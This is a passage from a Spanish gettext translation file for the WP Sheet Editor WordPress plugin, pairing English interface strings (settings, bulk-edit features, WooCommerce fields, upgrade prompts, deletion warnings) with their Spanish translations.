post?" #: wp-sheet-editor/dev/inc/options-init.php:524 msgid "" "By default, we remove any unsafe html from all the spreadsheet columns " "before saving the values. You can activate this option if you want to allow " "the WordPress super admins or administrators to add iframes, ad codes, etc " "to the post content. Use it at your own risk." msgstr "" "Por defecto, eliminamos cualquier html inseguro de todas las columnas de la " "hoja de cálculo antes de guardar los valores. Puedes activar esta opción si " "quieres permitir a los superadministradores o administradores de WordPress " "añadir iframes, códigos de anuncios, etc al contenido de la entrada. Úsala " "bajo tu propia responsabilidad." #: wp-sheet-editor/dev/inc/options-init.php:531 msgid "Generate serialized fields columns based on these posts" msgstr "Generar columnas de campos serializados basados en estos posts" #: wp-sheet-editor/dev/inc/options-init.php:532 msgid "" "This option allows you to indicate what posts to use as templates for " "specific serialized fields. Enter the field key and post ID separated with a " "colon. For example: serialized_key1:89, serializedkey2:90" msgstr "" "Esta opción te permite indicar qué posts utilizar como plantillas para " "campos serializados específicos. Ingresa la clave del campo y el ID del post " "separados por dos puntos. Por ejemplo: serialized_key1:89, serialized_key2:90" #: wp-sheet-editor/dev/inc/providers/post.php:511 msgid "" "Row ID: %1$d, Post type: %2$s does not exist in WordPress. Make sure your " "CSV uses the right name in the post type column." msgstr "" "Fila: %1$d, Tipo de post: %2$s no existe en WordPress. Asegúrate de que tu " "CSV utiliza el nombre correcto en la columna Post type." #: wp-sheet-editor/dev/inc/providers/post.php:527 msgid "" "Row ID: %d. You are trying to save an empty post type. Make sure your CSV " "uses the right name in the post type column." msgstr "" "Fila: %d. Estás guardando un post type vacío. Asegúrate que tu CSV usa el " "nombre correcto en la columna \"Tipo de post\" o \"Post Type\"." #: wp-sheet-editor/dev/inc/providers/post.php:636 msgid "Row ID: %d, You do not have permission to delete this post." msgstr "Fila: %d. No tienes suficientes permisos para borrar este post." #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:54 msgid "Go Premium" msgstr "Pásate a Premium" #: wp-sheet-editor/dev/inc/teasers/coupons.php:33 msgid "WooCommerce Coupons" msgstr "Cupones WooCommerce" #: wp-sheet-editor/dev/inc/teasers/coupons.php:51 msgid "" "Edit Coupons in a Spreadsheet.
                  Edit coupon codes, amounts, status, " "restrictions, and more. Make advanced searches. The spreadsheet is in sync " "with your site, no need to import/export. Download Plugin" msgstr "" "Editar cupones en una hoja de cálculo.
                  Editar códigos de cupón, montos, " "estado, restricciones y más. Realizar búsquedas avanzadas. La hoja de " "cálculo está sincronizada con tu sitio, sin necesidad de importar/exportar. " "Descargar Plugin" #: wp-sheet-editor/dev/inc/teasers/formulas.php:34 msgid "Apply changes in bulk" msgstr "Aplicar cambios masivamente" #: wp-sheet-editor/dev/inc/teasers/formulas.php:56 msgid "Bulk Update feature" msgstr "Función de cambios masivos" #: wp-sheet-editor/dev/inc/teasers/formulas.php:58 msgid "" "The \"bulk update\" feature allows you to update several posts at once
                  and you can do a lot of cool things, for example:" msgstr "" "La función \"Editor Masivo\" te permite actualizar muchos posts a la vez
                  y puedes hacer muchas cosas interesantes, por ejemplo:" #: wp-sheet-editor/dev/inc/teasers/formulas.php:61 msgid "Replace words or phrases in your posts titles, content, or other fields" msgstr "" "Reemplazar palabras o frases en los títulos, contenido u otros campos de tus " "posts" #: wp-sheet-editor/dev/inc/teasers/formulas.php:62 msgid "Increase or decrease products prices" msgstr "Aumentar o disminuir los precios de los productos" #: wp-sheet-editor/dev/inc/teasers/formulas.php:63 msgid "Increase or decrease products stock" msgstr "Aumentar o disminuir el inventario de los productos" #: wp-sheet-editor/dev/inc/teasers/formulas.php:64 msgid "Move all your drafts to published posts or any other status" msgstr "" "Mover todos tus borradores a posts publicados o a cualquier otro estado" #: wp-sheet-editor/dev/inc/teasers/formulas.php:65 msgid "Set hundreds of products at once as out of stock or in stock" msgstr "" "Configurar cientos de productos a la vez como sin existencias o en " "existencias" #: wp-sheet-editor/dev/inc/teasers/formulas.php:66 msgid "" "Add call to actions or any text at the beginning or ending of your posts" msgstr "" "Añadir una llamada a la acción o cualquier texto al principio o al final de " "tus posts" #: wp-sheet-editor/dev/inc/teasers/formulas.php:67 msgid "Replace old shortcodes with new shortcodes in all your posts" msgstr "" "Reemplazar los shortcodes viejos por shortcodes nuevos en todos tus posts" #: wp-sheet-editor/dev/inc/teasers/formulas.php:68 msgid "Set the same featured image in all the posts in a category" msgstr "Ponerle la misma imagen destacada a todos los posts de una categoría" #: wp-sheet-editor/dev/inc/teasers/formulas.php:69 msgid "Move hundreds of posts to the trash" msgstr "Mover cientos de entradas a la papelera" #: wp-sheet-editor/dev/inc/teasers/formulas.php:70 msgid "Etc." msgstr "Etc." #: wp-sheet-editor/dev/inc/teasers/formulas.php:72 msgid "" "Imagine being able to do all those changes to hundreds or thousands of posts " "at once in just a few minutes. The formulas feature is available as premium " "extension." msgstr "" "Imagina poder hacer todos esos cambios a cientos o miles de entradas a la " "vez en sólo unos minutos. La función de fórmulas está disponible como " "extensión premium." #: wp-sheet-editor/dev/inc/teasers/formulas.php:75 #: wp-sheet-editor/dev/inc/teasers/frontend.php:77 #: wp-sheet-editor/dev/inc/teasers/post-types.php:132 msgid "Buy extension now!" msgstr "¡Compra la extensión ahora!" #: wp-sheet-editor/dev/inc/teasers/frontend.php:33 msgid "Display spreadsheet editor on the frontend" msgstr "Mostrar el editor de hojas de cálculo en el frontend" #: wp-sheet-editor/dev/inc/teasers/frontend.php:58 msgid "" "We have an extension for displaying this spreadsheet on the frontend. You " "can select the columns to display, and select the spreadsheet tools for the " "frontend users (search, bulk, edit, import, export, etc.). For example:" msgstr "" "Tenemos una extensión para mostrar esta hoja de cálculo en el frontend. " "Puedes seleccionar las columnas a mostrar, y seleccionar las herramientas de " "hoja de cálculo para los usuarios de frontend (búsqueda, edición masiva, " "importación, exportación, etc.). Por ejemplo:" #: wp-sheet-editor/dev/inc/teasers/frontend.php:61 msgid "" "Allow your clients to edit WooCommerce Products using the spreadsheet " "without wp-admin" msgstr "" "Permite a tus clientes editar productos WooCommerce usando la hoja de " "cálculo sin tener que usar el escritorio de wp-admin" #: wp-sheet-editor/dev/inc/teasers/frontend.php:62 msgid "Allow your readers to submit blog posts using the spreadsheet" msgstr "" "Permite que tus lectores entreguen entradas del blog usando la hoja de " "cálculo" #: wp-sheet-editor/dev/inc/teasers/frontend.php:63 msgid "Allow your visitors to publish events" msgstr "Permite a tus visitantes publicar eventos" #: wp-sheet-editor/dev/inc/teasers/frontend.php:64 msgid "Allow your store employees to manage stock and prices" msgstr "" "Permite a los empleados de tu tienda gestionar el inventario y los precios" #: wp-sheet-editor/dev/inc/teasers/frontend.php:65 msgid "Allow your marketplace sellers to import products on the frontend" msgstr "" "Permite a los vendedores de tu mercado importar productos en el frontend" #: wp-sheet-editor/dev/inc/teasers/frontend.php:66 msgid "Allow your marketplace sellers to bulk edit their products" msgstr "" "Permite a los vendedores de tu mercado editar los productos masivamente" #: wp-sheet-editor/dev/inc/teasers/frontend.php:67 msgid "Allow your store buyers to download the catalog" msgstr "Permite a los compradores de tu tienda descargar el catálogo" #: wp-sheet-editor/dev/inc/teasers/frontend.php:68 msgid "Allow your store customers to make advanced catalog searches " msgstr "" "Permite a los clientes de tu tienda realizar búsquedas avanzadas en el " "catálogo " #: wp-sheet-editor/dev/inc/teasers/frontend.php:69 msgid "And more." msgstr "Y más." #: wp-sheet-editor/dev/inc/teasers/frontend.php:72 msgid "Demo video" msgstr "Video de demostración" #: wp-sheet-editor/dev/inc/teasers/frontend.php:74 msgid "" "All the features available in the backend spreadsheet can be used in the " "frontend spreadsheet." msgstr "" "Todas las funciones disponibles en la hoja de cálculo del backend pueden " "utilizarse en el frontend." #: wp-sheet-editor/dev/inc/teasers/post-types.php:86 msgid "Edit WordPress %s" msgstr "Editar %s de WordPress" #: wp-sheet-editor/dev/inc/teasers/post-types.php:88 msgid "The spreadsheet editor can be used to edit your WordPress %s." msgstr "" "El editor de hojas de cálculo puede ser usado para editar tus %s de " "WordPress." #: wp-sheet-editor/dev/inc/teasers/post-types.php:91 msgid "You can edit your Media information like:" msgstr "Puedes editar tu información multimedia como:" #: wp-sheet-editor/dev/inc/teasers/post-types.php:94 msgid "Caption" msgstr "Leyenda" #: wp-sheet-editor/dev/inc/teasers/post-types.php:95 msgid "Alternative text" msgstr "Texto alternativo" #: wp-sheet-editor/dev/inc/teasers/post-types.php:98 msgid "Uploaded by user" msgstr "Subido por este usuario" #: wp-sheet-editor/dev/inc/teasers/post-types.php:100 msgid "Enable comments" msgstr "Habilitar comentarios" #: wp-sheet-editor/dev/inc/teasers/post-types.php:101 msgid "And see previews while editing" msgstr "Y ver vistas previas durante la edición" #: wp-sheet-editor/dev/inc/teasers/post-types.php:106 msgid "You can edit your WooCommerce products information like:" msgstr "Puedes editar la información de tus productos WooCommerce como:" #: wp-sheet-editor/dev/inc/teasers/post-types.php:110 msgid "Full content" msgstr "Contenido" #: wp-sheet-editor/dev/inc/teasers/post-types.php:113 msgid "Sale price dates" msgstr "Fechas del precio rebajado" #: wp-sheet-editor/dev/inc/teasers/post-types.php:114 msgid "Featured image" msgstr "Imagen destacada" #: wp-sheet-editor/dev/inc/teasers/post-types.php:115 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:655 msgid "Gallery" msgstr "Galería" #: wp-sheet-editor/dev/inc/teasers/post-types.php:117 msgid "Is Downloadable" msgstr "Es descargable" #: wp-sheet-editor/dev/inc/teasers/post-types.php:118 msgid "Is Virtual" msgstr "Es Virtual" #: wp-sheet-editor/dev/inc/teasers/post-types.php:124 msgid "" "With our editor you will be able to edit all the information of
                  your %s " "saving you a lot of time." msgstr "" "Con nuestro editor podrás editar toda la información de
                  tus %s, " "ahorrándote mucho tiempo." #: wp-sheet-editor/dev/inc/teasers/post-types.php:128 msgid "This feature is available as premium extension." msgstr "Esta función está disponible como una extensión premium." #: wp-sheet-editor/dev/inc/teasers/terms.php:70 msgid "" "Tip from WP Sheet Editor: Edit thousands of categories at once, make " "advanced searches, view all the info in one page, and more." msgstr "" "Sugerencia de WP Sheet Editor: Editar miles de categorías a la vez, " "hacer búsquedas avanzadas, ver toda la información en una página, y más." #: wp-sheet-editor/dev/inc/teasers/terms.php:70 msgid "Edit in a Spreadsheet" msgstr "Editar en una Hoja de Cálculo" #: wp-sheet-editor/dev/inc/teasers/upgrade-popup.php:51 msgid "" ". Upgrade: Export, import, edit in Excel or Google Sheets; bulk edit thousands of rows at once, edit all the fields from other plugins, and more. Upgrade and Save Days of Work" msgstr "" ". Actualizar: Exportar, importar, editar en Excel o Google Sheets; editar miles de filas a " "la vez, editar todos los campos de otros plugins, y más. Actualizar y Ahorrar Días de " "Trabajo" #: wp-sheet-editor/dev/inc/teasers/upgrade-popup.php:70 msgid "View Extensions" msgstr "Ver Extensiones" #: wp-sheet-editor/dev/inc/teasers/users.php:32 msgid "Users" msgstr "Usuarios" #: wp-sheet-editor/dev/inc/teasers/users.php:51 msgid "" "Tip from WP Sheet Editor: You can view all the users in a table, view " "thousands of full profiles, edit hundreds of users at once without crashing " "your server, view all shipping/billing/buddypress information. Make advanced " "searches, create hundreds of users, and more. Download Plugin" msgstr "" "Consejo de WP Sheet Editor:Puedes ver todos los usuarios en una " "tabla, ver miles de perfiles completos, editar cientos de usuarios a la vez " "sin colapsar tu servidor, ver toda la información de envío/facturación/" "buddypress. Realizar búsquedas avanzadas, crear cientos de usuarios y mucho " "más. Descargar el Plugin " #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:410 msgid "" ". Lite version. Showing all products and all fields as columns, 15 " "columns are editable and the rest are read only.
                  Upgrade: Edit in " "Excel/Google Sheets, export, import, bulk edit thousands of products at once." msgstr "" ". Versión Lite. Mostrando todos los productos y todos los campos como " "columnas, 15 columnas son editables y el resto son sólo de lectura. " "
                  Actualizar: Editar en Excel/Google Sheets, exportar, importar, " "editar todos los campos en miles de productos a la vez." #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:423 msgid "" "Tip from WP Sheet Editor: You can view and edit Product Variations in " "a spreadsheet, bulk edit, make advanced searches, edit hundreds of " "variations at once, copy variations to multiple products, etc. Download Plugin" msgstr "" "Consejo de WP Sheet Editor: Puedes ver y editar las variaciones de " "productos en una hoja de cálculo, realizar búsquedas avanzadas, editar " "cientos de variaciones a la vez, copiar variaciones a varios productos, etc. " "Descargar Plugin" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:521 msgid "Regular Price" msgstr "Precio normal" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:535 msgid "Sale Price" msgstr "Precio rebajado" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:701 msgid "Sales price date from" msgstr "Fecha inicial del precio rebajado" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:713 msgid "Sales price date to" msgstr "Fecha final del precio rebajado" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:740 msgid "is featured?" msgstr "Es destacado?" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:756 msgid "Allow backorders" msgstr "Permitir reservas" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:931 msgid "" "Note: Separate values with the character %s
                  The product must be variable " "and have existing variations for this to work, otherwise the default " "attributes won't be saved." msgstr "" "Nota: Separa los valores con este carácter: %s.
                  El producto debe ser " "variable y tener variaciones existentes para que esto funcione. De lo " "contrario los atributos por defecto no serán guardados." #: wp-sheet-editor/dev/views/editor-page.php:79 msgid "Full screen mode is active" msgstr "El modo de pantalla completa está activado" #: wp-sheet-editor/dev/views/editor-page.php:80 msgid "Exit" msgstr "Salir" #: wp-sheet-editor/dev/views/editor-page.php:84 msgid "Activate full screen" msgstr "Activar el modo de pantalla completa" #: wp-sheet-editor/dev/views/editor-page.php:145 msgid "Current spreadsheet" msgstr "Hoja de cálculo actual" #: wp-sheet-editor/dev/views/editor-page.php:149 msgid "Rows" msgstr "Filas" #: wp-sheet-editor/dev/views/editor-page.php:182 msgid "" ". We recommend you increase the server memory to at least 256mb to prevent " "server errors. Tutorial" msgstr "" ". Recomendamos que incrementes la memoria del servidor al menos hasta 256mb " "para prevenir errores del servidor. Tutorial" #: wp-sheet-editor/dev/views/editor-page.php:186 msgid "Active filters:" msgstr "Filtros activos:" #: wp-sheet-editor/dev/views/editor-page.php:199 #: wp-sheet-editor/dev/views/quick-setup.php:39 msgid "Welcome to WP Sheet Editor" msgstr "Bienvenido a WP Sheet Editor" #: wp-sheet-editor/dev/views/editor-page.php:200 msgid "" "Please make a search to load the rows and start editing (use the \"search\" " "option in the top toolbar)." msgstr "" "Por favor, haz una búsqueda para cargar las filas y comenzar a editar (usa " "la herramienta \"Buscar\" en la barra superior)." #: wp-sheet-editor/dev/views/editor-page.php:202 msgid "" "You need to load the rows manually because you deactivated the automatic " "loading of rows. Change the settings" msgstr "" "Necesitas cargar las filas manualmente porque desactivaste la carga " "automática de filas. Cambiar los ajustes" #: wp-sheet-editor/dev/views/editor-page.php:229 msgid "Go to page" msgstr "Ir a la página" #: wp-sheet-editor/dev/views/editor-page.php:231 msgid "Use an infinite list instead of pagination" msgstr "Usar una lista infinita en lugar de la paginación" #: wp-sheet-editor/dev/views/editor-page.php:231 msgid "" "Activate this option to remove the pagination buttons and load rows " "automatically when you scroll down. You will see all the rows at the same " "time, you can load thousands of rows without problems." msgstr "" "Activa esta opción para eliminar los botones de paginación y cargar las " "filas automáticamente cuando te desplazas hacia abajo. Verás todas las filas " "al mismo tiempo, puedes cargar miles de filas sin problemas." #: wp-sheet-editor/dev/views/editor-page.php:234 msgid "Load More Rows" msgstr "Cargar más filas" #: wp-sheet-editor/dev/views/editor-page.php:235 msgid "Go to the top" msgstr "Ir arriba" #: wp-sheet-editor/dev/views/editor-page.php:237 msgid "Enable pagination" msgstr "Habilitar la paginación" #: wp-sheet-editor/dev/views/editor-page.php:237 msgid "" "By default we use an infinite list of rows and we load more rows every time " "you scroll down. You can activate this option to display pagination links " "and disable the infinite list" msgstr "" "Por defecto, usamos una lista infinita de filas y cargamos más filas cada " "vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar " "los enlaces de paginación y deshabilitar la lista infinita." #: wp-sheet-editor/dev/views/editor-page.php:241 msgid "Increase rows per page" msgstr "Aumentar filas por página" #: wp-sheet-editor/dev/views/editor-page.php:241 msgid "" "We use pagination. By default we load 20 rows per page (every time you " "scroll down). You can increase the number to load more rows every time you " "scroll down." msgstr "" "Usamos la paginación. Por defecto cargamos 20 filas por página (cada vez que " "te desplazas hacia abajo). Puedes aumentar el número para cargar más filas " "cada vez que te desplazas hacia abajo." #: wp-sheet-editor/dev/views/editor-page.php:259 msgid "Delete rows" msgstr "Borrar filas" #: wp-sheet-editor/dev/views/editor-page.php:260 msgid "You selected 0 rows to be deleted completely." msgstr "Seleccionaste 0 filas para borrarlas completamente." #: wp-sheet-editor/dev/views/editor-page.php:261 msgid "" "This will delete the rows from your database completely and the only way to " "undo this change is to restore a backup. Please make a backup in case you " "might need to undo this later." msgstr "" "Esto borrará las filas de tu base de datos completamente y la única manera " "de deshacer este cambio es restaurar una copia de seguridad. Por favor, haz " "una copia de seguridad en caso de que puedas necesitar deshacer esto después." #: wp-sheet-editor/dev/views/editor-page.php:262 msgid "Please type the word DELETE and press enter to proceed:" msgstr "" "Por favor, escribe la palabra BORRAR y haz clic en enter para continuar:" #: wp-sheet-editor/dev/views/editor-page.php:275 msgid "OK" msgstr "OK" #: wp-sheet-editor/dev/views/editor-page.php:287 #: wp-sheet-editor/dev/views/editor-page.php:314 msgid "Save changes and edit the previous row" msgstr "Guardar los cambios y editar el post anterior" #: wp-sheet-editor/dev/views/editor-page.php:290 #: wp-sheet-editor/dev/views/editor-page.php:318 msgid "Save changes and edit the next row" msgstr "Guardar los cambios y editar el siguiente post" #: wp-sheet-editor/dev/views/editor-page.php:305 msgid "Editing:" msgstr "Editando:" #: wp-sheet-editor/dev/views/editor-page.php:310 msgid "You can resize the editor" msgstr "Puedes cambiar el tamaño del editor" #: wp-sheet-editor/dev/views/editor-page.php:315 msgid "Just save changes" msgstr "Sólo guarda los cambios" #: wp-sheet-editor/dev/views/editor-page.php:317 msgid "Cancel the changes and close popup" msgstr "Cancelar los cambios y cerrar la ventana emergente" #: wp-sheet-editor/dev/views/editor-page.php:336 msgid "" "The changes about to be made are not reversible. You should backup your " "database before proceding." msgstr "" "Los cambios que estás a punto de realizar son irreversibles. Debes hacer una " "copia de seguridad de tu base de datos antes de proceder." #: wp-sheet-editor/dev/views/editor-page.php:338 msgid "The changes about to be made are not reversible" msgstr "Los cambios que estás a punto de realizar no son reversibles" #: wp-sheet-editor/dev/views/editor-page.php:340 msgid "I understand, continue" msgstr "Entiendo, continuar" #: wp-sheet-editor/dev/views/editor-page.php:345 msgid "" "We are saving now. Don't close this window until the process has finished." msgstr "" "Estamos guardando ahora. No cierres esta ventana hasta que el proceso haya " "terminado." #: wp-sheet-editor/dev/views/editor-page.php:347 msgid "" "Tip: The saving is too slow? Save " "more posts per batch
                  Are you getting errors when saving? Save less posts per batch" msgstr "" "Consejo: ¿El guardado es demasiado lento? Guardar más filas por lote
                  ¿Obtienes " "errores al guardar? Guardar menos filas por lote" #: wp-sheet-editor/dev/views/editor-page.php:374 msgid "" "The loading is taking too long?
                  1. You can wait until the process " "finished.
                  2. You can " msgstr "" "La carga está tomando demasiado tiempo?
                  1. Puedes esperar hasta que el " "proceso haya terminado.
                  2. Puedes " #: wp-sheet-editor/dev/views/extensions-modal.php:5 #: wp-sheet-editor/dev/views/usage-stats-widget.php:96 msgid "Extend the spreadsheet" msgstr "Ampliar la hoja de cálculo" #: wp-sheet-editor/dev/views/extensions-page.php:19 msgid "What component do you need?" msgstr "¿Qué componente necesitas?" #: wp-sheet-editor/dev/views/extensions.php:31 msgid "Promotion. %d%% OFF only today. " msgstr "Promoción. Ahorra %d%% solo hoy. " #: wp-sheet-editor/dev/views/extensions.php:33 msgid "Get the %d extensions below for just $ %s $ %s" msgstr "" "Obtén las siguientes %d extensiones por sólo $ %s $ %s" #: wp-sheet-editor/dev/views/extensions.php:37 msgid "
                  Use the coupon: %s" msgstr "
                  Usar el cupón: %s" #: wp-sheet-editor/dev/views/extensions.php:41 msgid "" "Money back guarantee. Buy the plugin without worries. We'll give you " "a refund if the plugin doesn't work." msgstr "" "Garantía de devolución de dinero. Compra el plugin sin preocupaciones . Te haremos un reembolso si el plugin no funciona." #: wp-sheet-editor/dev/views/extensions.php:49 msgid "Other extensions" msgstr "Otras extensiones" #: wp-sheet-editor/dev/views/free-extensions-for-welcome.php:15 msgid "Spreadsheet for %s %s" msgstr "Hoja de cálculo para %s %s" #: wp-sheet-editor/dev/views/free-extensions-for-welcome.php:19 msgid "

                  Free extensions

                  " msgstr "

                  Extensiones gratuitas

                  " #: wp-sheet-editor/dev/views/post-types-form.php:17 msgid "Available spreadsheets" msgstr "Hojas de cálculo disponibles" #: wp-sheet-editor/dev/views/quick-setup.php:64 msgid "Save and continue" msgstr "Guardar y continuar" #: wp-sheet-editor/dev/views/quick-setup.php:70 msgid "Available components" msgstr "Componentes disponibles" #: wp-sheet-editor/dev/views/quick-setup.php:71 msgid "" "The spreadsheet editor is very powerful and it has a lot of features. In " "this step you can enable the features that you need." msgstr "" "El editor de hojas de cálculo es muy potente y tiene muchas características. " "En este paso puedes habilitar las funciones que necesites." #: wp-sheet-editor/dev/views/quick-setup.php:77 msgid "Continue" msgstr "Continuar" #: wp-sheet-editor/dev/views/quick-setup.php:81 msgid "The Spreadsheet is ready." msgstr "La Hoja de cálculo está lista." #: wp-sheet-editor/dev/views/quick-setup.php:94 #: wp-sheet-editor/dev/views/usage-stats-widget.php:115 msgid "Edit " msgstr "Editar " #: wp-sheet-editor/dev/views/quick-setup.php:110 msgid "" "Tip. We can help you with the spreadsheet setup. Get instant help in the " "live chat during business hours" msgstr "" "Consejo: Podemos ayudarte con la configuración de la hoja de cálculo. Obtén " "ayuda instantánea en el chat en vivo en horas de oficina." #: wp-sheet-editor/dev/views/settings-form.php:2 msgid "Advanced Settings" msgstr "Ajustes Avanzados" #: wp-sheet-editor/dev/views/settings-form.php:14 #: wp-sheet-editor/dev/views/settings-form.php:87 msgid "Reset settings" msgstr "Restablecer los ajustes" #: wp-sheet-editor/dev/views/settings-form.php:15 msgid "Export and import settings" msgstr "Exportar e importar ajustes" #: wp-sheet-editor/dev/views/settings-form.php:86 msgid "" "We will display all the columns that were deleted or disabled, renamed " "columns will show the original titles, we will rescan the database to find " "columns again, and the speed/advanced settings will be reset to the " "defaults. This only affects settings of our plugin and it does not affect " "the data edited with the sheet." msgstr "" "Mostraremos todas las columnas que fueron borradas o deshabilitadas, las " "columnas renombradas mostrarán los títulos originales, volveremos a escanear " "la base de datos para encontrar las columnas de nuevo, y los ajustes " "avanzados y de velocidad se restablecerá a los valores predeterminados. Esto " "sólo afecta a la configuración de nuestro plugin y no afecta a los datos " "editados con la hoja de cálculo." #: wp-sheet-editor/dev/views/settings-form.php:90 msgid "These options will be included in the export and import:" msgstr "Estas opciones serán incluidas en la exportación e importación:" #: wp-sheet-editor/dev/views/settings-form.php:92 msgid "Column sizes" msgstr "Tamaños de las columnas" #: wp-sheet-editor/dev/views/settings-form.php:93 msgid "Column titles" msgstr "Títulos de las columnas" #: wp-sheet-editor/dev/views/settings-form.php:94 msgid "Column settings defined in the columns manager" msgstr "Configuraciones definidas en el gestor de columnas" #: wp-sheet-editor/dev/views/settings-form.php:95 msgid "Columns created manually" msgstr "Columnas creadas manualmente" #: wp-sheet-editor/dev/views/settings-form.php:97 msgid "Saved exports" msgstr "Exportaciones guardadas" #: wp-sheet-editor/dev/views/settings-form.php:98 msgid "Saved searches" msgstr "Búsquedas guardadas" #: wp-sheet-editor/dev/views/settings-form.php:99 msgid "List of deleted columns" msgstr "Listado de columnas eliminadas" #: wp-sheet-editor/dev/views/settings-form.php:100 msgid "Favorite search fields" msgstr "Campos de búsqueda marcados como favoritos" #: wp-sheet-editor/dev/views/settings-form.php:101 msgid "Column groups" msgstr "Grupos de columnas" #: wp-sheet-editor/dev/views/settings-form.php:102 msgid "Post types created with WP Sheet Editor" msgstr "Tipos de posts creados con WP Sheet Editor" #: wp-sheet-editor/dev/views/settings-form.php:105 msgid "Click here to export the settings" msgstr "Haz clic aquí para exportar los ajustes" #: wp-sheet-editor/dev/views/settings-form.php:107 msgid "Import settings" msgstr "Importar ajustes" #: wp-sheet-editor/dev/views/settings-form.php:108 msgid "Paste the settings here (the contents of the exported file). Notes:" msgstr "Pega los ajustes aquí (el contenido del archivo exportado). Notas:" #: wp-sheet-editor/dev/views/settings-form.php:110 msgid "The import will overwrite existing settings" msgstr "La importación sobrescribirá los ajustes existentes." #: wp-sheet-editor/dev/views/settings-form.php:111 msgid "Please make a database backup before the import to be safe" msgstr "" "Por favor, haz una copia de seguridad de tu base de datos antes de importar " "para estar más seguro." #: wp-sheet-editor/dev/views/settings-form.php:112 msgid "" "Some columns depend on other plugins. So the source site and this site must " "use the same plugins to have the same columns" msgstr "" "Algunas columnas dependen de otros plugins. El sitio fuente y el sitio de " "destino deben usar los mismos plugins para que tengas las mismas columnas" #: wp-sheet-editor/dev/views/single-extension.php:16 msgid "Active." msgstr "Activo." #: wp-sheet-editor/dev/views/usage-stats-widget.php:54 msgid "Thank you for using our spreadsheet editor" msgstr "Gracias por usar nuestro editor de hojas de cálculo" #: wp-sheet-editor/dev/views/usage-stats-widget.php:62 msgid "Usage stats" msgstr "Estadísticas de uso" #: wp-sheet-editor/dev/views/usage-stats-widget.php:68 msgid "Modified rows" msgstr "Filas modificadas" #: wp-sheet-editor/dev/views/usage-stats-widget.php:72 msgid "Time saved
                  (estimated)" msgstr "Tiempo ahorrado
                  (estimado)" #: wp-sheet-editor/dev/views/usage-stats-widget.php:76 msgid "Clicks avoided
                  (estimated)" msgstr "Clics ahorrados
                  (estimado)" #: wp-sheet-editor/dev/views/usage-stats-widget.php:97 msgid "" "Edit WooCommerce products, WooCommerce Variations and Attributes.
                  Edit " "hundreds of posts at once using formulas, copy information between posts,
                  Edit custom post types and custom fields, Edit User Profiles, and More" msgstr "" "Editar productos WooCommerce, Variaciones WooCommerce y Atributos.
                  Editar cientos de filas a la vez usando fórmulas, copiar información entre " "filas,
                  Editar post types personalizados y campos personalizados, Editar " "Perfiles de Usuario, y Más" #: wp-sheet-editor/dev/views/usage-stats-widget.php:98 msgid "View extensions" msgstr "Ver extensiones" #: wp-sheet-editor/dev/views/usage-stats-widget.php:103 msgid "Open the Spreadsheet Editor" msgstr "Abrir el Editor de Hojas de Cálculo" #: wp-sheet-editor/dev/views/whats-new.php:15 msgid "What's new on WP Sheet Editor" msgstr "Novedades en WP Sheet Editor" #: wp-sheet-editor/dev/views/whats-new.php:17 msgid "Thank you for updating to the new version of the plugin." msgstr "Gracias por actualizar a la nueva versión del plugin." #: wp-sheet-editor/dev/wp-sheet-editor.php:185 msgid "Edit User Profiles in Spreadsheet - Basic" msgstr "Editar perfiles de usuario en una hoja de cálculo - Básico" #: wp-sheet-editor/dev/wp-sheet-editor.php:188 msgid "" "

                  Edit WordPress users in spreadsheet, edit only basic profiles and make " "basic searches.

                  " msgstr "" "

                  Editar usuarios de WordPress en una hoja de cálculo, editar sólo " "perfiles básicos y realizar búsquedas básicas.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:196 msgid "Edit User Profiles in Spreadsheet - FULL" msgstr "Editar Perfiles de Usuario en la Hoja de Cálculo - COMPLETO" #: wp-sheet-editor/dev/wp-sheet-editor.php:199 msgid "" "

                  Edit WordPress users in spreadsheet. Edit FULL user profiles, including " "custom fields. Add new columns to the spreadsheet, Good for ecommerce " "stores, membership sites, events directories, business directories, user " "directories

                  " msgstr "" "

                  Editar usuarios de WordPress en una hoja de cálculo. Editar perfiles de " "usuario COMPLETOS, incluyendo campos personalizados. Agregar nuevas columnas " "a la hoja de cálculo. Es excelente para tiendas ecommerce, sitios de " "membresía, directorios de eventos, directorios de negocios, directorios de " "usuarios.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:206 msgid "WooCommerce Customers Spreadsheet" msgstr "Hoja de Cálculo de Clientes de WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:209 msgid "" "

                  View all your Customers in a Spreadsheet. View full profile, Edit " "Profiles Quickly, View Billing and Shipping information, Make advanced " "customer searches, Export Customers to Excel or Google Sheets, Import " "Customers from External Applications

                  " msgstr "" "

                  Ver el perfil completo de todos tus clientes de WooCommerce en una hoja " "de cálculo. Editar perfiles rápidamente. Ver y editar la información de " "facturación y envío. Realizar búsquedas avanzadas de perfiles de clientes. " "Exportar clientes a Excel o Google Sheets. Importar clientes desde " "aplicaciones externas.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:216 msgid "Media Library Spreadsheet" msgstr "Hoja de Cálculo de la Biblioteca de Medios de WordPress" #: wp-sheet-editor/dev/wp-sheet-editor.php:219 msgid "" "

                  View the image, videos, and all the files from the WP Media library in a " "spreadsheet. Edit all the file fields, including alt text, image captions, " "file descriptions, Advanced Search by any field , Auto generate alt text, " "captions, etc. using the parent post title or categorías, Update thousands " "of files at once, and more.

                  " msgstr "" "

                  Ver los archivos de imagen, vídeo y todos los archivos de la Biblioteca " "de medios de WordPress en una hoja de cálculo. Editar todos los campos de " "los archivos, incluyendo el texto alternativo, la leyenda, las descripciones " "de los archivos. Hacer búsquedas avanzadas por cualquier campo. Generar de " "manera automática los textos alternativos, las leyendas, etc. usando el " "título o las categorías de las entradas principales. Actualizar miles de " "archivos a la vez. Y mucho más.

